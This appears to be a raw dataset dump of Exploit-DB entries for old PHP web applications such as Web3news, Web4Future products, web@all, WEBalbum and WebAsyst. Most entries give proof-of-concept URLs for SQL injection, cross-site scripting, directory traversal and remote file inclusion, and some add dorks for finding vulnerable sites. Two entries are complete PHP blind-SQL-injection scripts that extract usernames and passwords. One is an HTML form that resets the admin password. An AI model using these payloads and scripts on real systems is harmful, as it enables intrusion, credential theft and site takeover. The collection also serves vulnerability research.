deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2269
Description: Web3news 0.95 - 'PHPSECURITYADMIN_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-28
Author: SHiKaA

Exploit:
#==============================================================================================
#Web3news <= v0.95 (PHPSECURITYADMIN_PATH) Remote File Inclusion Exploit
#===============================================================================================
#                                                                          
#Critical Level : Dangerous                                                
#                                                                          
#Venedor site : http://www.web3king.com/web3news           
#                                                                           
#Version : All Versions                                                
#                                                             
#================================================================================================
#Bug in : security/include/_class.security.php
#
#Vlu Code :
#--------------------------------
#     <?
#                include $PHPSECURITYADMIN_PATH."lang/".$lang.".lang.php";
#    
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/security/include/_class.security.php?PHPSECURITYADMIN_PATH=http://SHELLURL.COM?
#
#Example : http://www.web3king.com/web3news/  ======> Vendor site
#
#DOrk : allinurl : /web3news/
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-08-28]
Exploit-DB #26729
Description: Web4Future Affiliate Manager PRO 4.1 - 'functions.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15717/info

Affiliate Manager PRO is prone to an SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/functions.php?action=ViewPaymentLog&pid=[SQL]
Exploit-DB #26718
Description: Web4Future eCommerce Enterprise Edition 2.1 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15707/info
 
eCommerce Enterprise Edition is prone to multiple SQL injection vulnerabilities.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
 
eCommerce Enterprise Edition 2.1 and prior and eCommerce Home Edition are vulnerable to these issues. 

http://www.example.com/index.php?action=ViewGroups&grp=[SQL]
http://www.example.com/index.php?action=ViewCategories&cat=[SQL]
Exploit-DB #26717
Description: Web4Future eCommerce Enterprise Edition 2.1 - 'view.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15707/info

eCommerce Enterprise Edition is prone to multiple SQL injection vulnerabilities.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

eCommerce Enterprise Edition 2.1 and prior and eCommerce Home Edition are vulnerable to these issues. 

http://www.example.com/view.php?prod=[SQL]
Exploit-DB #26719
Description: Web4Future eCommerce Enterprise Edition 2.1 - 'viewbrands.php?bid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15707/info
  
eCommerce Enterprise Edition is prone to multiple SQL injection vulnerabilities.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
  
eCommerce Enterprise Edition 2.1 and prior and eCommerce Home Edition are vulnerable to these issues. 

http://www.example.com/viewbrands.php?bid=[SQL]
Exploit-DB #26726
Description: Web4Future eDating Professional 5.0 - 'articles.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15715/info
  
eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Versions 5 and prior are vulnerable; other versions may also be affected.

http://www.example.com/articles.php?cat=1[SQL]

http://www.example.com/articles.php?A=ViewArticles&cat=1[SQL]
Exploit-DB #26727
Description: Web4Future eDating Professional 5.0 - 'fq.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15715/info
   
eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
Versions 5 and prior are vulnerable; other versions may also be affected.

http://www.example.com/fq.php?A=ViewFQ&cid=1[SQL]
Exploit-DB #26725
Description: Web4Future eDating Professional 5.0 - 'gift.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15715/info
 
eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions 5 and prior are vulnerable; other versions may also be affected.


http://www.example.com/gift.php?A=ViewGifts&cid=[SQL]
Exploit-DB #26724
Description: Web4Future eDating Professional 5.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15715/info

eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 5 and prior are vulnerable; other versions may also be affected.

http://www.example.com/index.php?afis=browse&s=[SQL]

http://www.example.com/index.php?afis=profil&pg=[SQL]

http://www.example.com/index.php?afis=SelCupidonNoLog&sortb=[SQL]
Exploit-DB #26730
Description: Web4Future Portal Solutions - 'Arhiva.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15718/info

Portal Solutions is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

This issue may be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences to disclose arbitrary files. 

http://www.example.com/arhiva.php?dir=../
Exploit-DB #26728
Description: Web4Future Portal Solutions - 'Comentarii.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15716/info

Portal Solutions is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/comentarii.php?idp=[SQL]
Exploit-DB #12743
Description: web5000 - 'page_show' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-25
Author: BLack Revenge

Exploit:
Title: Design by web5000 (page_show) SQL Injection Vulnerability [#]
Author: BLack Revenge [#]
 Date: 2010/05/25[#]
DorK: Use Your M!nd
Email: Ahmed.h4ck3r@gmail.com
==========================================================================
-----------------------------------------
www.arab-exploit.com    |
------------------------------------------
AraB Expl0iT Cr3w
==========================================================================
SQL Injectin [+]

www.Localhost.com/path/path2/page_show.php?id=[] --->SQL Injection

Demo:
http://[site]/[path]/page_show.php?id=18--->SQL
Injection
==========================================================================
GreeTz ALL My Friend's  D3vil H4ck3r & JrEmA HackEr & Prince IraQ & BLaCk
FoXxX
==========================================================================
Exploit-DB #37507
Description: web@all - 'name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-16
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54466/info

web@all is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

web@all 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/webatall-2.0/my/kindeditor/?name=%3Cscript%3Ealert%28123%29%3C/script%3E
Exploit-DB #37435
Description: web@all - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-20
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/54109/info

web@all is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.

An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add, delete or modify sensitive information, or perform unauthorized actions. Other attacks are also possible. 

http://www.example.com/search.php?_text[title]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #35253
Description: web@all 1.1 - 'url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/45976/info

web@all is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

web@all 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/weball/404.php?url=1%3Cscript%3Ealert%280%29%3C%2fscript%3E
Exploit-DB #15837
Description: Web@all 1.1 - Remote Admin Settings Change
Type: webapps
Platform: php
Date: 2010-12-27
Author: Giuseppe D'Inverno

Exploit:
===========================================
Web@all <= 1.1 Remote Admin Settings Change
===========================================

Author___: giudinvx
Email____: <giudinvx[at]gmail[dot]com>
Date_____: 27/12/2010
Site_____: http://www.giudinvx.altervista.org/
--------------------------------------------------------
Application Info:
web@all 1.1
web@all is a CMS which is not similar to general CMS,
you can build it easyly by yourself.
www.webatall.com
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<html>
<form method="post" enctype="multipart/form-data"
action="[localhost]mem/action.php" name="f1">
Change Admin user, password and email.<br/>
Password<input type="text" value="" name="password"><br/>
Password<input type="text" value="" name="answer"><br/>
Email<input type="text" value="" name="email">
<input type="hidden" value="Admin" name="nickname">
<input type="hidden" value="" name="question">
<input type="hidden" value="" name="sign">
<input type="hidden" value="" name="person[firstname]">
<input type="hidden" value="" name="person[lastname]">
<input type="hidden" value="" name="person[country]">
<input type="hidden" value="" name="person[province]">
<input type="hidden" value="" name="person[city]">
<input type="hidden" value="" name="person[address]">
<input type="hidden" value="" name="person[zip]">
<input type="hidden" value="" name="person[mobile]">
<input type="hidden" value="" name="person[phone]">
<input type="hidden" value="" name="person[other]">
<input type="hidden" value="member" name="_lib">
<input type="hidden" value="member" name="_file">
<input type="hidden" value="person" name="memtype">
<input type="hidden" value="do_edit" name="_act">
<input type="submit" value="Submit">
</form>
</html>
Exploit-DB #4370
Description: Webace-Linkscript 1.3 SE - 'start.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-07
Author: k1tk4t

Exploit:
########################################################################
# Webace-Linkscript V1.3 Special Edition - Remote SQL Injection
# Vendor           : http://www.webace.de/
# Download         : http://www.webace.de/downloads/wls_se.zip
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
########################################################################
Berkas;
/go/rubrik.php

Kutu pada baris-2;
$rubrikname = mysql_fetch_array(mysql_query('SELECT name FROM wls_rubriken WHERE id='.$HTTP_GET_VARS['id']));

Keterangan;
$HTTP_GET_VARS['id'] tidak ter'filter' dengan baik, sehingga pengguna bisa memanipulasi SQL melalui browser

POC;
http://localhost/wls_v1.3se/start.php?go=rubrik&id=[SQL]

Contoh;
http://localhost/wls_v1.3se/start.php?go=rubrik&id=-1/**/union/**/select/**/null,null,null,null,null,null,null,null,login,passwort,null,null,null,null,null/**/from/**/wls_eintrag/*

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-07]
Exploit-DB #12267
Description: WebAdmin - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-16
Author: DigitALL

Exploit:
# Exploit Title: WebAdmin Shell Upload Vulnerability

# Date: 16.04.2010

# Author: DigitALL

# Code :

g00gle d0rk: inurl:webadmin.php Size · Permission · Owner · Group,
Functions.

3xpl0it: You Edit index.php Or Shell Upload

Greetz To: Efe KroNicKq NoFearx38 and All 1923Turk.Com Members

[ www.digitallsecurity.org ] [ www.1923turk.com ] [
www.digit4ll.blogspot.com ] [ www.kankardes.com ] [ www.hacker-zone.org ]
Exploit-DB #11579
Description: WebAdministrator Lite CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-25
Author: Ariko-Security

Exploit:
============ { Ariko-Security - Advisory #5/2/2010 } =============

       SQL injection vulnerability in WebAdministrator Lite CMS 


Vendor's Description of Software:
# http://jskinternet.pl/portal/jsk/3/Oferta.html

Dork:
# webadministrator lite

Application Info:
# Name: WebAdministrator Lite CMS
# Versions: LITE

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: medium

Fix: 
# N/A

Time Table:
# 25/02/2010 - Vendor notified.
# 25/02/2010 - Vendor response "we will not release FIX for LITE, soon 

new version"....


Input passed via the "s" parameter to download.php is not properly 

sanitised before being used in a SQL query.

Solution:
# Input validation of "s" parameter should be corrected.


Vulnerability:
# http://[site]/download.php?s=[SQLi]&id=2324 

Credit:
# Discoverd By: MG
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com


Ariko-Security
Maciej Gojny
vuln@ariko-security.com
tel.: [PII_REDACTED]2 (Mo-Fr 10.00-20.00 CET)
Exploit-DB #7961
Description: WEBalbum 2.4b - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-02-03
Author: Mehmet Ince

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                WEBalbum v2.4b Blind SQL Injection Exploit
#                 (Some webpages have a diffirint table name)
#                      ---->>>> xoron <<<<<-----
#                           xorontr@gmail.com
#                            XORON (c) 2009
#
#     WARNING!: php xoron.php "http://www.web-album.org/[PATH]/photo.php?id=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+login+from+webalbum_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+login+from+webalbum_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+login+from+webalbum_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+webalbum_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+webalbum_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>

# milw0rm.com [2009-02-03]
Exploit-DB #12724
Description: WebAsys - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: zsh.shell

Exploit:
<?php
/**
 * WebAsys blindSQL-inj exploit
 * @author: zsh.shell
 */

if($argc !== 4) {
 echo "#######################################\n\n";
 echo "GET username by id:\tphp ".$argv[0]." url id u\n";
 echo "GET password by id:\tphp ".$argv[0]." url id p\n";
 echo "\nExample: php ".$argv[0]." http://site.com/ 1 p\n\n";
 die("#######################################\n");
}
$url = $argv[1]."index.php?ukey=news&blog_id=";
$id = $argv[2];
$me = $argv[3];
if($me == 'u') {
        $me = "lower(U_ID)";
        $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z);

	for($i=1;$i<=25;$i++) {
		$vuln = $url."if((select+length(U_ID)+FROM+WBS_USER+where+C_ID=1)=".$i.",1,(select+1+union+select+2))";
		$result = file_get_contents($vuln);
		if(!preg_match("/Subquery returns/", $result)) {
			$much = $i;
			break;
		}
	 }
}
elseif($me == 'p') {
	$me = "U_PASSWORD";
	$chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f);
	$much = 32;
}
else die("Wrong exploit parametr". $me ."\n");

$chars = array_map("ord", $chars);


for($i=1;$i<=$much;$i++)
	foreach($chars as $j) {
		for($k=0;$k<=strlen($out);$k++) echo chr(8);
		$vuln = $url."if(ascii(substring((select+".$me."+from+WBS_USER+where+C_ID=".$id."),".$i.",1))=".$j.",1,(select+1+union+select+2))";
		$result = file_get_contents($vuln);
		$out = "[".chr($j)."] :> ".$res;
		
		if(!preg_match("/Subquery returns/", $result)) {
			$res .= chr($j);
			break;
		}
		echo $out;
	}
if(substr(strtolower(PHP_OS),0,3) == 'win') system("cls"); else system("clear");
echo "[+] Result:\t".$res."\n";
?>
Exploit-DB #34795
Description: WebAsyst Shop-Script - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-09
Author: Vrs-hCk

Exploit:
source:  https://www.securityfocus.com/bid/43661/info

WebAsyst Shop-Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/index.php?ukey=news&blog_id=<script>alert(123)</script>
Exploit-DB #9092
Description: webasyst shop-script - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-09
Author: Vrs-hCk

Exploit:
 =============================================================================================

 Title    : (Blind SQL/XSS) Multiple Remote Vulnerabilities
 Software : WebAsyst Shop-Script
 Vendor   : http://www.webasyst.net
 
 Date     : 03 July 2009 (Indonesia)
 Author   : Vrs-hCk
 Contact  : d00r@telkom.net
 Blog     : http://c0li.blogspot.com/

 =============================================================================================

 [-] Google Dork

     "Powered by WebAsyst Shop-Script"

 [-] Vulnerable (Blind SQL/XSS)

     index.php

 [-] Exploit (Blind SQL)

     http://[site]/[path]/index.php?ukey=news&blog_id=null and substring(@@version,1,1)=null

 [-] Exploit (XSS)

     http://[site]/[path]/index.php?ukey=news&blog_id=<script>alert(123)</script>

 =============================================================================================

 Greetz   :

     Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,
     bl4Ck_3n91n3, H312Y, S3T4N, Janroe, and special muaacchh buat Dia yg Ku Cintai (*_^)
     c0li.m0de.0n and Behave oR BeGone !!!

 =============================================================================================

# milw0rm.com [2009-07-09]